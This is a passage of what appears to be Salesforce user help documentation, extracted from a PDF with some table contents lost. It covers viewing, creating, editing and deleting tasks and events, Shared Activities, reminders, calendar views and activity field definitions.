Shared Activities Overview
Activity Accessibility
Available in: All Editions except Database.com
Important: If you use Shared Activities, you can view a task if you have access to at least one of the contacts or a lead
related to the task as well as a Related To object.
115
Activities
Activity Accessibility
Viewing and editing tasks and events depends on a number of factors. Use the following table to determine who can access
activities:
To do this:
You must:
View an activity
Create an activity
AND
Edit an activity
AND
Delete an activity
AND
AND
116
Activities
Viewing Activities
To do this:
You must:
Tip: The user who is assigned to an activity in the Assigned To field is often referred to as the activity owner.
See Also:
Viewing Activities
Editing Activities
Deleting Activities
Shared Activities Overview
Activity Fields
Viewing Activities
Available in: All Editions except Database.com
Activities include tasks and calendar events. Activities can display in the following locations:
Home Tab
Many users go to the Home tab to view their tasks and events. For more information, see Using Your Calendar and
Tasks on the Home Page on page 56.
Activity Feed (Chatter)
Display a Chatter feed of updates, comments, and posts about the activity.
Open Activities and Activity History Related Lists
You can also view, create, and update activities from the Open Activities and Activity History related lists of an associated
record. These related lists show all activities associated with the record, including activities that are assigned to other
117
Activities
Viewing Activities
users. For more information, see Using the Open Activities Related List on page 129 and Using the Activity History
Related List on page 130.
Activity List Views
To display a list of activities for which you or your team is responsible for completing, click the activity list view icon
( ) below the calendar on the Home tab or at the top of a calendar view. If your Home tab does not display the
Calendar or My Tasks sections, contact your administrator to customize your home page layout.
For more information, see Viewing Activity Lists on page 119.
Reminder Window
The reminder window pops up to notify you of upcoming activities. For more information, see Using the Activity
Reminder Window on page 132.
Console
Administrators of Professional, Enterprise, Unlimited, and Developer Edition organizations can set up the console to
include activities. Click the Console tab to display the console, which allows you to find, view, and edit activities and
their associated records on one screen. For more information, see Displaying the Console Tab on page 3308.
See the following for details on viewing activities:
See Also:
Activity Accessibility
Creating Activities
Editing Activities
Deleting Activities
Activity Fields
Shared Activities Overview
118
Activities
No permissions needed
To display a list of activities for which you or your team is responsible for completing, click the activity list view icon ( )
below the calendar on the Home tab or at the top of a calendar view. If your Home tab does not display the Calendar or My
Tasks sections, contact your administrator to customize your home page layout.
Click an activity to view the detail. Click Edit or Del next to an activity subject to edit or delete a task.
Click New Task or New Event to create a new activity.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view.
The following list views are provided by Salesforce:
All Activities - Shows activities that you can view. In Personal Edition, the All Activities list view shows all of your
activities.
My Activities - Shows activities that you own.
My Delegated Activities - Shows activities that you created but are owned by someone else.
Note: Inviting other Salesforce users to an event or task is like delegating that activity to those users. So the
My Delegated Activities list view also shows activities for all invited users even if you still own that activity. In
the list view, the invited user appears as the person assigned to the activity but the activity's detail page shows
you as the assignee.
My Team's Activities - Shows activities owned by users who report to you in the role hierarchy.
For your convenience, your team's activities are converted to your time zone.
To edit or delete any view you created, select it from the View drop-down list and click Edit.
Archived activities are not included in activity list views. See Using the Activity History Related List on page 130 for details
on which activities are archived.
Click any column heading to sort in ascending or descending order using that columns information.
119
Activities
Creating Activities
At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
See Also:
Viewing Activities
Using Your Calendar and Tasks on the Home Page
Working with Enhanced Lists
Printing List Views
Viewing Your Calendar
Customizing User Interface Settings
Using Inline Editing in Lists
Creating Activities
Available in: All Editions except Database.com
Edit Tasks
To create events:
Edit Events
You can create new activity records (tasks and events) from the following locations.
In the sidebar
In the sidebar, select Task or Event from the Create New drop-down list.
On the home page
On the Home tab, click New in the My Tasks section or New Event in the Calendar section.
On the detail page of an associated record
On the detail page of an associated record, click New Task, New Event, or New Meeting Request on the Open Activities
related list. In addition, you can click Log a Call on the Activity History related list to add a new task record with a
completed status.
On a calendar view
On a calendar view, click New Event to add a new event. In addition:
On day views you can click New in the My Tasks section to add a new task.
On day views you can click a time such as 9:00 AM to add an event at that time.
On day and week views, you can double-click a time slot to create a new event. Your administrator controls the
availability of this feature. Note that recurring events and multi-person events are not supported for click-and-create
events on calendar views.
On week and month views you can click the Add Event icon ( ) to add an event on a particular date.
120
Activities
Editing Activities
) below the calendar on the Home tab or at the top of a calendar view.
See Also:
Creating Tasks
Creating Events
Viewing Activities
Editing Activities
Shared Activities Overview
Requesting a Meeting Using Cloud Scheduler
Editing Activities
Available in: All Editions except Database.com
Edit Tasks
To edit events:
Edit Events
Editing Tasks
Closing Tasks
Editing Events
Editing Multi-Person Events
Editing Recurring Events
121
Activities
Deleting Activities
See Also:
Viewing Activities
Creating Activities
Deleting Activities
Activity Fields
Deleting Activities
Available in: All Editions except Database.com
Multi-person events are not available in: Personal Edition
Edit Tasks
To delete events:
Edit Events
Your administrator can use the Mass Delete feature to delete a group of activities or archived activities. .
For multi-person events, only the event owner can delete the event. However, when you decline an event, Salesforce
removes the event from your calendar.
When an event owner deletes an event, all invited users receive an email notifying them that the event has been canceled.
When deleting a recurring event or deleting a recurring task, you can delete either a single occurrence in the series or the
entire series.
If your organization has Shared Activities tasks arent deleted unless the Related To field and all contacts are deleted.
See Also:
Recycle Bin
Shared Activities Overview
122
Activities
If your organization has the Shared Activities feature enabled, you can relate non-recurring and non-group tasks to as many
as 10 contacts, one of which you assign as the primary contact; all others are secondary contacts. Sharing tasks gives you a
more accurate picture when you view your task details and reports. Specifically, Shared Activities lets you view:
Tasks when you have access to at least one contact, lead, or related record. You can also view tasks if your role is above the
task owners in your organizations hierarchy. Keep in mind, when you relate contacts to which other users have access,
those users can view the task along with the names, account names, and titles of all the contacts you related to the
taskincluding the contacts to which those users may not otherwise have access.
All contacts related to a task on the Task detail page if your administrator adds the Name related list to the Task Page
Layout.
The number of contacts related to a task when you use the Relation Count column in activity reports.
One row per contact for each activity in the Activities with Contacts report when you select at least one field from the
related Contact list.
A tasks primary contact in two reports: Tasks and Events, and Activities with Cases. The primary contact also appears in
the Name field on the Task detail page.
See Also:
Activity Fields
Viewing Shared Activities in Reports
If your organization has the Shared Activities feature enabled, you can relate non-recurring and non-group tasks to as many
as 10 contacts, one of which you assign as the primary contact; all others are secondary contacts.
Activity History
The Activity History related list of a record displays all completed tasks, logged phone calls, saved interaction logs,
expired events, outbound email, mass email, email added from Microsoft Outlook, and merged documents for the
record and its associated records.
Last Activity Date
The Last Activity of an account and contact is the most recent due date of an activity on the record. The following
past or future activities set this date: Any event and closed tasks. Since activities roll up through associated records, the
Last Activity date on an account can be an activity on a contact, opportunity, or other associated record. In Shared
Activities, the contacts Last Activity date is based on the latest activity in which the contact is a primary contact.
For example:
123
Activities
Primary Contact
For tasks that have multiple related contacts, you select one as the primary contact, who is typically the key person
associated with an account or opportunity. The primary contact appears in two reports: Tasks and Events, and Activities
with Cases. If you delete the primary contact, the next contact on the tasks related list becomes the new primary one.
If thats not the primary contact you want, you can edit the task to select another.
Related To
A relationship is a connection between two objects, which Salesforce uses to create related lists in page layouts and detail
levels in reports. Salesforce uses matching values in specified fields for both objects to link related data. For example, if
one object stores data about companies and another object stores data about people, a relationship identifies which people
work at the company. For example, when creating a task, you can relate a contact or opportunity to it. Then, when you
view activities for that contact or opportunity, Salesforce displays the task.
Tasks
A task is a planned activity you can relate to another type of record, such as an account, contact, lead, opportunity, or
case. You can also assign a task to a user you specify. When using Shared Activities, however, you cant create recurring
or group tasks with more than one contact. You can specify the Subject, Status, Priority, and Due Date of the
task.
See Also:
Shared Activities Overview
Much of the activities functionality remains the same when you use Shared Activities for tasks, but there are differences.
In Shared Activities, the contacts Last Activity date is based on the latest activity in which the contact is a primary
contact.
You may encounter problems with triggers, workflow, and data validation rules for the WhoID and WhatID fields if you
add or remove them. Additionally, triggers, workflow, and data validation rules arent available for the TaskRelation object.
If you change the owner of a contact, only the tasks in which the contact is a primary contact transfer to the new owner.
For example, the owner of the contact for Ron Dean changes, and Ron is related to two tasks:
Ron is the primary contact for the task Conference Call.
Ron is not the primary contact for the other task Quarterly Call, but hes related to it.
When the owner changes, only the Conference Call task transfers to the new owner.
In Chatter feeds, you cannot use feed tracking for the Name and Related to fields.
124
Activities
Customize Application
The process for enabling the Shared Activities feature for tasks can take up to 48 hours, depending on the volume of activities
for your organization. While you enable this feature, your users can continue working with tasks.
1.
2.
3.
4.
Go to Your Name > Setup > Customize > Activities > Activity Settings.
Select Allow Users to Relate Multiple Contacts to Tasks.
Click Submit.
Required for Salesforce Mobile users and recommended for all users: Add the Name related list to the Task detail page
layout. If you dont add the related list to the page layout, mobile users can only see a tasks primary contact.
After the process for enabling Shared Activities finishes, youll receive a confirmation email.
Tip: Easily check the status of your process for enabling the Shared Activities feature by viewing the Activity Settings
page. We provide helpful messages about both the status and what you need to do if the enabling process doesnt finish
successfully.
If your organization has the Shared Activities feature enabled, you can relate non-recurring and non-group tasks to as many
as 10 contacts, one of which you assign as the primary contact; all others are secondary contacts. For tasks that have multiple
related contacts, you select one as the primary contact, who is typically the key person associated with an account or opportunity.
The primary contact appears in two reports: Tasks and Events, and Activities with Cases. If you delete the primary contact,
the next contact on the tasks related list becomes the new primary one. If thats not the primary contact you want, you can
edit the task to select another.
In Shared Activities, the contacts Last Activity date is based on the latest activity in which the contact is a primary
contact. For example:
125
Activities
Note:
If you delete or remove a tasks primary contact, another contact becomes the primary contact in its place. You can
edit the task to manually select another primary contact.
See Also:
Shared Activities Overview
Displaying Related Contacts on Task Detail Pages
Customize Application
When you enable the Shared Activities feature for tasks, the Contact detail page displays task information in the Open Activities
and Activity History related lists for each related contact. For your users to make the most of the Shared Activities feature,
we recommend that you add the Name related list to the Task detail page layout. This lets your users view all names related
to a specific task on the Task detail page. For example, if your user creates a task named Quarterly Call with five contacts, the
Task detail page will include each contacts name and other details on separate lines in the Name related list.
Important: Because the contents of the Name related list arent fields, they dont adhere to field-level security settings.
1.
2.
3.
4.
5.
Select Your Name > Setup > Customize > Activities > Task Page Layout.
Click Edit.
In the palette on the upper portion of the screen, click Related Lists. The palette displays the available related lists.
From the palette, drag Name to the lower portion of the screen.
In the palette, click Save.
See Also:
Shared Activities Overview
126
Activities
Note: For custom report types, the TaskRelation object isnt available.
If your organization has the Shared Activities feature enabled, you can run certain reports that display details specific to tasks
with multiple contacts.
If you want to view
Use
The number of contacts related Activity reports. To do this, youll add the Relation Count column to your reports.
to a task
For example, you create a task with five contacts. When you run the Tasks and Events report,
it displays 5 to indicate the number of contacts related to the task.
One row per contact for each The Activities with Contacts report. To do this, youll select at least one field from the
activity
Contact object.
For example, your report might include a task with five contacts. If you include the Last
Name field from the contact object on the report, youll see five rows (one row for each contact)
related to this activity. If you dont add any fields from the contact object, only one row
appears for the activity.
A tasks Primary Contact
See Also:
Shared Activities Overview
Understanding Shared Activities
Learning about Differences Between Activities and Shared Activities
Displaying Related Contacts on Task Detail Pages
Display a Chatter feed of updates, comments, and posts about the activity.
127
Activities
Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed.
To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full
feed, above the update, click All Updates.
Following Activities
When you follow an activity, your Chatter feed includes field changes and activity feed updates.
See Also:
Chatter Overview
Using Chatter Feeds
Edit Events
Only the event or series owner can delete an event or series of events. If you have been invited to an event or a series of events,
to remove them from your calendar, decline the event or series of events. See Responding to Events on page 161 for more
information.
To delete a single event in a series of events:
1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record,
and then click the View Event subtab. Alternatively, mouse over the event in any calendar, and click Edit.
2. Click Delete Event. A warning dialog will be displayed. If you are sure you want to delete only this event in the series,
click OK.
Alternatively, hover your mouse over the event in a calendar. and click Delete in the event detail overlay.
Note: When an event owner deletes a recurring event, all invited users receive an email notifying them that the event
has been canceled.
Deleted events are moved to the Recycle Bin. If they are restored, all the details of the event will be restored as well.
128
Activities
Deleting a series does not delete occurrences that have already happened.
When an event owner deletes a series of recurring events, all invited users receive a single email notifying them
that the series of events has been canceled.
If a series is deleted and no events in the series occurred in the past, the series is placed in the Recycle Bin. Individual
events that were part of the series are not placed in the Recycle Bin.
If a series is deleted and it contains events that occurred in the past, the series is not placed in the Recycle Bin, and
therefore it cannot be restored from the Recycle Bin.
If you restore a series from the Recycle Bin, individual events will be created. Those individual events will have the
details as defined by the series, as well as any event-specific details that were set on the event before the series was
deleted.
Open tasks
Open events
Requested meetings
These activities are displayed for a record and its associated records. For example, if you have a task related to a contact, that
task displays in the Open Activities related list of the contact as well as the associated account. If you use Shared Activities
on page 123, the activities display in the related list of each related contact.
From the Open Activities related list:
Click New Task or New Event to create an activity that is associated with the record.
Click New Meeting Request to request a meeting with a contact, lead, or person account. Once you request a meeting,
Your administrator can customize the fields and buttons that display in related lists; see Customizing Page Layouts on page
1278.
129
Activities
Note: For person account records, the related list includes activities that have the person account in either the Name
or Related to fields. As appropriate, the Name or Related to column in the related list displays the person's
name. For more information, see What is a Person Account? on page 68.
See Also:
Using the Activity History Related List
Viewing Activities
The Activity History related list of a record displays all completed tasks, logged phone calls, saved interaction logs, expired
events, outbound email, mass email, email added from Microsoft Outlook, and merged documents for the record and its
associated records.
In the Activity History related list, click:
Log A Call to enter the results of unplanned phone calls and then schedule a follow-up task. Use this feature, along with
scheduled events and tasks to track all activities for a record.
Mail Merge to generate personalized documents using your data and Microsoft Word templates provided by your
administrator. If you choose, the merged document is listed in the Activity History related list of the associated record.
This button is not available for all types of records. For more information, see Sending Single Mail Merge Documents on
page 2811.
Send An Email to send an email to a contact or lead and associate the email with both the contact or lead and the displayed
account, opportunity, case, or custom object. The email you send is automatically listed in the Activity History related list
of the contact or lead. If the subject is longer than 100 characters, it is truncated with ellipses (...). When appropriate, it
is also listed for the record associated with the email, such as the opportunity or case. This button is not available for all
types of records.
Compose Gmail to send an email to a contact or lead from your Gmail account. The email you send is automatically listed
in the Activity History related list of the contact or lead. This button is only available if the Gmail Buttons and Links
feature is enabled. If the Gmail to Salesforce feature is also enabled, the email you send is automatically listed in the Activity
History related list of the contact or lead. See Using Gmail in Salesforce on page 338 for more information.
Request Update to launch a contact update email to send to the selected contact. This email allows you to enter an
introductory note asking the contact to update the contact information you have and send a reply with the updated
information. You can update your contact record when you receive the response. These emails and the mass Stay-in-Touch
emails will be listed in the Activity History related list.
View All to display a printable view of all completed activities.
Note that the View All button only displays when there are records to view.
If your organization has added the Case Activities related list to the View Cases page layout in the Self-Service portal and you
have set the field-level security to visible for the Visible in Self-Service checkbox on activities, you can click the
following:
130
Activities
Make Public to display the completed activity in the activities related list on the case in the Self-Service portal.
Make Private to hide the completed activity in the activities related list on the case in the Self-Service portal.
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Your administrator can customize the fields and buttons that display in related lists; see Customizing Page Layouts on page
1278.
Note: For person account records, the related list includes activities that have the person account in either the Name
or Related to fields. As appropriate, the Name or Related to column in the related list displays the person's
name. For more information, see What is a Person Account? on page 68.
See Also:
Using the Open Activities Related List
About Archived Activities
Viewing Activities
Sending Email
Edit Tasks
To edit events:
Edit Events
Salesforce can display popup reminders for upcoming tasks and events. Reminders notify the activity assignee of an upcoming
task or event. The reminder displays in a small browser popup window when the activity assignee is logged in to Salesforce.
When a user logs in, any reminders that have not been dismissed and reminders scheduled to occur since the last time the user
logged out are shown in the reminder window.
When you create or edit an event or task, you have an option to set a reminder on it. The reminder defaults to the time specified
in your reminder settings.
To set a reminder on a task:
1. Create or edit a task.
2. Select the Reminder checkbox.
3. Choose the date and time for the reminder. You will be reminded of the task on that date and time.
If you are setting the reminder for a recurring task series, the reminder applies to each occurrence in the series.
4. Click Save.
131
Activities
See Also:
Using the Activity Reminder Window
Customizing Activity Reminders
Viewing Activities
Editing Activities
Reminders display in a small browser popup window, called the reminder window. When you log into Salesforce, a sound
plays and the reminder window automatically pops up if you have any task or event reminders that were triggered since you
last logged in. While you're logged in, the reminder window opens whenever a reminder is triggered. The reminder window
shows you:
When viewing reminders, task reminders are sorted by due date and event reminders are sorted by start date and time.
Additionally, if Sort reminder window by due date is not set, the reminders display in the following order:
1. The task and event reminder date and time.
2. The task due date or the event start date and time.
3. Ascending alphabetical order by subject.
If Sort reminder window by due date is set, the reminders display in the following order:
1. The task due date or the event start date and time; if the task has no due date, then it displays first.
2. The task and event reminder date and time.
3. Ascending alphabetical order by subject.
Use the table to determine what's shown as the task due date or event start time.
Activity Type
If you specified:
Task
A due date
132
Activities
Activity Type
Event
If you specified:
No due date
An event time
The date and time you selected when creating or editing the
event.
The date you selected and the time set in the Start of day
field in your Personal Information Settings page.
When viewing the reminder window, you can choose to dismiss or snooze one or more reminders.
To dismiss all reminders in the window, click Dismiss All. After you click Dismiss All, the window will display any reminders
that were not previously in the window due to the 100 reminder limit.
To dismiss a reminder:
1. Select one or more reminders.
2. Click Dismiss.
To snooze a reminder:
1. Select one or more reminders.
2. In the drop-down list, select one of the snooze options. The default snooze option is to remind you again in five minutes.
3. Click Snooze.
When Sort reminder window by due date is not selected, if you click Snooze, the time overdue will be based on the snooze
time when the reminder pops up again. If you close the reminder window, it will open again when youre notified of the next
reminder.
Note: If your reminder popups fail to display, ensure that your browser is not blocking them.
See Also:
Setting Reminders on Activities
Customizing Activity Reminders
Viewing Activities
133
Activities
Activity Fields
Note: Archived activities are accessible in advanced search and global search only.
See Also:
Search Overview
Viewing Activities
Shared Activities Overview
Activity Fields
The available fields vary according to which Salesforce Edition you have.
An activity has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)
See Also:
Viewing Activities
Activity Overview
Shared Activities Overview
Event Fields
Field
Description
Activity Currency
Assigned To
Contact or Lead
Contact or lead associated with the event. You can enter the
name of the person or use the lookup icon to select the name.
This only displays if you have the Read permission for that
type of record; users with sharing access to the record can click
it to view more details.
134
Activities
Activity Fields
Field
Description
Created By
User who created the event including creation date and time.
(Read only)
Date
Description
Division
Duration
End
Planned end date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1331.
Last Modified By
Location
Phone
Private
Indicates whether users other than the event owner can see
the event details when viewing the event owner's calendar.
However, users with the View All Data or Modify All Data
135
Activities
Field
Activity Fields
Description
permission can see private event details in reports and searches,
or when viewing other users' calendars. Exported data files
will always contain private events. Cannot be set for
multi-person events or when adding or modifying an event in
another user's calendar. Private events cannot be associated
with opportunities, accounts, cases, campaigns, contracts,
leads, or contacts.
Related To
Response
Show Time As
Start
Planned start date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1331.
Subject
Time
Type
Visible in Self-Service
136
Activities
Activity Fields
Task Fields
Field
Description
Activity Currency
Assigned To
Comments
Text note describing the task. This field can hold up to 32KB
of data.
Created By
User who created the task including creation date and time.
(Read only)
Division
Due Date
Last Modified By
Name
Contact or lead related to the task. You can enter the name
of the person or use
to select the name. If you use Shared
Activities on page 123, you can relate up to 10 contacts to the
task. This field appears only if you have the Read permission
for that type of record; users with sharing access to the record
can click it to view more details.
Phone
137
Activities
Event Fields
Field
Description
Priority
Related To
Status
Subject
Type
Visible in Self-Service
Event Fields
Field
Description
Activity Currency
138
Activities
Event Fields
Field
Description
Assigned To
Contact or Lead
Contact or lead associated with the event. You can enter the
name of the person or use the lookup icon to select the name.
This only displays if you have the Read permission for that
type of record; users with sharing access to the record can click
it to view more details.
Created By
User who created the event including creation date and time.
(Read only)
Date
Description
Division
Duration
End
Planned end date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1331.
139
Activities
Event Fields
Field
Description
Last Modified By
Location
Phone
Private
Indicates whether users other than the event owner can see
the event details when viewing the event owner's calendar.
However, users with the View All Data or Modify All Data
permission can see private event details in reports and searches,
or when viewing other users' calendars. Exported data files
will always contain private events. Cannot be set for
multi-person events or when adding or modifying an event in
another user's calendar. Private events cannot be associated
with opportunities, accounts, cases, campaigns, contracts,
leads, or contacts.
Related To
Response
Show Time As
Start
Planned start date and time of event. You can enter a date, or
choose a date from the calendar that displays when you put
your cursor in the field. Additionally, you can add the current
time by clicking the time link next to the field.
This field appears only if multiday events are enabled; see
Customizing Activity Settings on page 1331.
Subject
Time
140
Activities
Task Fields
Field
Description
Type
Visible in Self-Service
Task Fields
Field
Description
Activity Currency
Assigned To
Comments
Text note describing the task. This field can hold up to 32KB
of data.
Created By
User who created the task including creation date and time.
(Read only)
Division
Due Date
141
Activities
Task Fields
Field
Description
Last Modified By
Name
Contact or lead related to the task. You can enter the name
of the person or use
to select the name. If you use Shared
Activities on page 123, you can relate up to 10 contacts to the
task. This field appears only if you have the Read permission
for that type of record; users with sharing access to the record
can click it to view more details.
Phone
Priority
Related To
Status
Subject
Type
Visible in Self-Service
142
Field
Description
organizations continue to have access to the
Self-Service portal.
Archiving occurs weekly at approximately 5:00 AM Greenwich Mean Time (GMT) on Saturday.
Archived activities can be viewed only in export files, printable view, or by clicking View All on the Activity History related
list. You can also view an archived activity if you know the URL for the activity.
Administrators can delete archived activities using Mass Delete.
Archived tasks are not included in reports. However, you can report on open or completed tasks.
Archived activities arent copied when you create or refresh a sandbox.
See Also:
Searching for Activities
Using the Activity History Related List
143
Activities
For more information, see Using Your Calendar and Tasks on the Home Page on page 56.
The Calendar shortcut in the sidebar that opens your last used calendar view
Your Salesforce administrator must enable this shortcut. For more information, see Customizing Activity Settings on page
1331.
The detail page of an event or task, which includes calendar icons at the top
An activities list view, which includes calendar icons at the top
Description
Day View icon. See Using the Calendar Day View on page
145.
Week View icon. See Using the Calendar Week View on page
147.
Month View icon. See Using the Calendar Month View on
page 147.
Single User View icon. Displays a user's calendar, a public
calendar, or a resource calendar.
Multi-User View icon. Displays several users' calendars. See
Using Multi-User Calendar Views on page 150.
Activity list view. See Viewing Activity Lists on page 119.
Previous arrow. Click to change the view to the previous day,
week, or month, as appropriate.
Next arrow. Click to change the view to the next day, week,
or month, as appropriate.
Pick a Date icon. Click to open a popup dialog where you can
choose a specific date.
Note:
Events and tasks that are part of a recurring series are marked with a recurrence icon ( )
The multi-person event icon ( ) identifies events with invitees. Multi-person events aren't available in Personal
Edition.
144
Activities
Reschedule an event by dragging the item on your calendar to a different time. For best results, place your mouse over the
subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that you drag
is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar editing;
see Enable Drag-and-Drop Editing on Calendar Views.
Create an event by double-clicking a time slot and entering the details in an interactive overlay. Note that your administrator
controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar Views on page 1604.
To change the default range of hours that your calendar displays, change the Start of day and End of day fields on
your personal information page. For example, if your workday typically begins at 8:00 AM and ends at 6:00 PM, changing
Start of day to 8:00 AM and End of day to 6:00 PM causes your daily and weekly calendar views to default to that
range of hours.
If you sync events from Outlook using Salesforce for Outlook, you may see a banner at the top of your calendar that links
to a list of your unresolved events. These are synced Outlook events that still need to be assigned to Salesforce records.
See Also:
Viewing Event Details
Creating Events
Editing Events
About Event Detail Overlays
Customizing Activity Reminders
Resolving Your Synced Outlook Events
Click a time such as 9:00 AM to add an event at that time. Alternatively, double-click a time slot to enter the details of
the event in an interactive overlay. Note that your administrator controls the availability of click-and-create events; see
Enable Click-and-Create Events on Calendar Views on page 1604.
145
Activities
Reschedule an appointment by dragging an item on your calendar to a different time. For best results, place your mouse
over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that
you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar
editing; see Enable Drag-and-Drop Editing on Calendar Views on page 1604.
Drag-and-drop editing is not available for multiday events.
In the multi-user day view, you can view the events of multiple users for the specified day. For more information, see Using
Multi-User Calendar Views on page 150.
Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday),
always displays on both days in calendar views.
See Also:
Using the Calendar Week View
Using the Calendar Month View
Viewing Event Details
Creating Events
Editing Events
146
Activities
you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar
editing; see Enable Drag-and-Drop Editing on Calendar Views on page 1604.
Drag-and-drop editing is not available for multiday events.
In the multi-user week view, you can view the events of multiple users for the specified week. For more information, see Using
Multi-User Calendar Views on page 150.
Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday),
always displays on both days in calendar views.
See Also:
Using the Calendar Day View
Using the Calendar Month View
Viewing Event Details
Creating Events
Editing Events
147
Activities
In the multi-user month view, you can view the events of multiple users for the specified month. For more information, see
Using Multi-User Calendar Views on page 150.
Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday),
always displays on both days in calendar views.
See Also:
Using the Calendar Day View
Using the Calendar Week View
Viewing Event Details
Creating Events
Editing Events
When viewing a calendar, you can hover your mouse over an event to display the event detail overlay. The event detail overlay
is a hover popup that shows information about the event and allows you to quickly edit or delete the event.
The information presented on the event detail overlay is configured by your administrator. See Defining Mini Page Layouts
on page 3305 for details on configuring the event detail overlay.
Depending on the layout of the event detail overlay, you may be able to click on fields on the overlay to see more detail. For
example, if there is a contact associated with the event, and the event detail includes that information, you can click on the
contact name to go to the contact detail page.
See Also:
Using Your Calendar and Tasks on the Home Page
148
Activities
In a single user calendar view, you can switch to the calendar of another user, a public calendar, or a resource calendar:
1. Click [Change] to open the calendar lookup window.
2. As necessary, search for the desired calendar:
a. Choose either User Calendars or Public Calendars & Resources from the drop-down list.
b. In the Search field, enter all or part of the appropriate user, public calendar, or resource name.
c. Click Go!.
3. Click the appropriate name to switch to that calendar.
Note: When viewing a resource calendar, you cannot add a new event. You can add events to resource calendars only
by inviting the resource to an event.
To reset your view to your own calendar, click Back to My Calendar (not available in Personal Edition).
See Also:
Granting Access to Your Calendar
Creating an Event in a Public or Resource Calendar
Viewing Your Calendar
From a calendar day, week, or month view, click Share My Calendar to change how others are allowed to view your calendar.
For more information, see Granting Access to Your Calendar on page 48.
Note: Regardless of whether your organization's sharing settings specify using hierarchies, activities associated with
a record are still visible to users above the activitys assignee in the role hierarchy.
See Also:
Viewing Your Calendar
Viewing Other Calendars
149
Activities
To print your calendar, click Printable View from any of the calendar views.
On a printable view, you can:
In addition:
On day and week views, you can view a list of tasks that can be customized by selecting an option from the drop-down
list.
On multi-user views, you can select an option from the Sort by drop-down list to customize the display. Select Time to
include all users' events on a single calendar, or select User to display a separate calendar for each user.
See Also:
Viewing Your Calendar
To see several colleagues' calendars all on one page, click the Multi-User View icon (
).
Select, edit, and create list views that determine which calendars display. To show a filtered list of items, select a predefined
list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view
you created, select it from the View drop-down list and click Edit.
See each person's availability. Consult the legend on the page to see which color indicates Busy or Out of Office time. If
someone has multiple events scheduled for a particular time, all of those events display on the calendar. Note that an event
marked as Free in the event details doesn't display in the multi-user calendar view.
Hover your mouse over a colored bar to see more details about an event.
Create an event and invite people. Check the boxes next to the people you want to invite and click New Event. Alternatively,
click the Add Event ( ) icon for the appropriate day.
Administrators can choose whether event details display. For more information, see Show Event Details on Multi-User
Calendar View on page 1332.
Drag-and-drop editing is not available.
150
Activities
The time range you see is determined by the Start of day and End of day fields on your personal information page.
Events scheduled outside this time range don't display. To see these events, extend your Start of day or End of day
times.
Multi-user calendar views work differently in the partner portal. For example, partners can only view calendar information
for people in their own company and their channel manager. For more information, download the Partner Portal User
Help.
See Also:
Viewing Your Calendar
Granting Access to Your Calendar
Inviting People to an Event
Go to the Calendar section of the Home tab and hover your mouse over or click the subject of an event on the Schedule
Meetings subtab.
Only upcoming events display in the Calendar section. Once the event date has passed, the event displays on the Activity
History related list.
From a calendar view, hover your mouse over an event to see the event's details in an event detail overlay.
On the detail page of an associated record, click the subject line of the event from the Open Activities or Activity History
related lists.
To see all of your scheduled events for a specific day, week, or month, use the calendar icons to switch between different views.
151
Activities
Creating Events
See Also:
About Event Detail Overlays
Creating Events
Editing Events
Activity Fields
Creating Events
Available in: All Editions except Database.com
Edit Events
From the Create New drop-down list in the sidebar, click Event.
From the Calendar section of the Home tab, click New Event.
From the Open Activities related list of an associated record, click New Event.
On the calendar's day view, click the time when the event will begin. Alternatively, double-click a time slot to enter
the details of the event in an interactive overlay. Note that your administrator controls the availability of click-and-create
events; see Enable Click-and-Create Events on Calendar Views on page 1604.
On the calendar's week view, click the Add Event Icon ( ) next to a date to create an event on that date. Alternatively,
double-click a time slot to enter the details of the event in an interactive overlay. Note that your administrator controls
the availability of click-and-create events; see Enable Click-and-Create Events on Calendar Views on page 1604.
On the month view of the calendar, click the Add Event Icon ( ) next to a date to create an event on that date.
On a multi-user calendar, select the users to invite, and click New Event.
2. Enter the details of the event, such as subject, start date and time, and end date and time. To assign the event to a partner
user, select Partner User from the Assigned To drop-down list.
Note: If multiday events are enabled for your organization, you can create events that last up to 14 days.
152
Activities
3. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Description
field. Note that the Check Spelling button must be enabled separately for events and tasks.
4. Optionally, select Create Recurring Series of Events to specify how often the event recurs. For more information,
see Creating Recurring Events on page 154.
Note: No occurrence in a series of recurring events can last longer than 24 hours. Once the recurring event is
created, you can extend the length of individual occurrences beyond 24 hours, if multiday events are enabled. To
enable multiday events, see Customizing Activity Settings on page 1331.
5. Attach files as needed by clicking Attach File on the Attachments related list. If you don't see this related list, you may
need to ask your administrator to add it to the event page layout. For recurring events, the attachment is added to the series
of events. Each occurrence of the recurring event can also have its own unique set of attachments.
6. Optionally, set a reminder on the event by selecting Reminder and choosing how long before the event you want to be
reminded.
7. Optionally, click Add Invitees to make the event a multi-person event to which users, contacts, leads, or resources are
invited. For more information, see Inviting People to an Event on page 155.
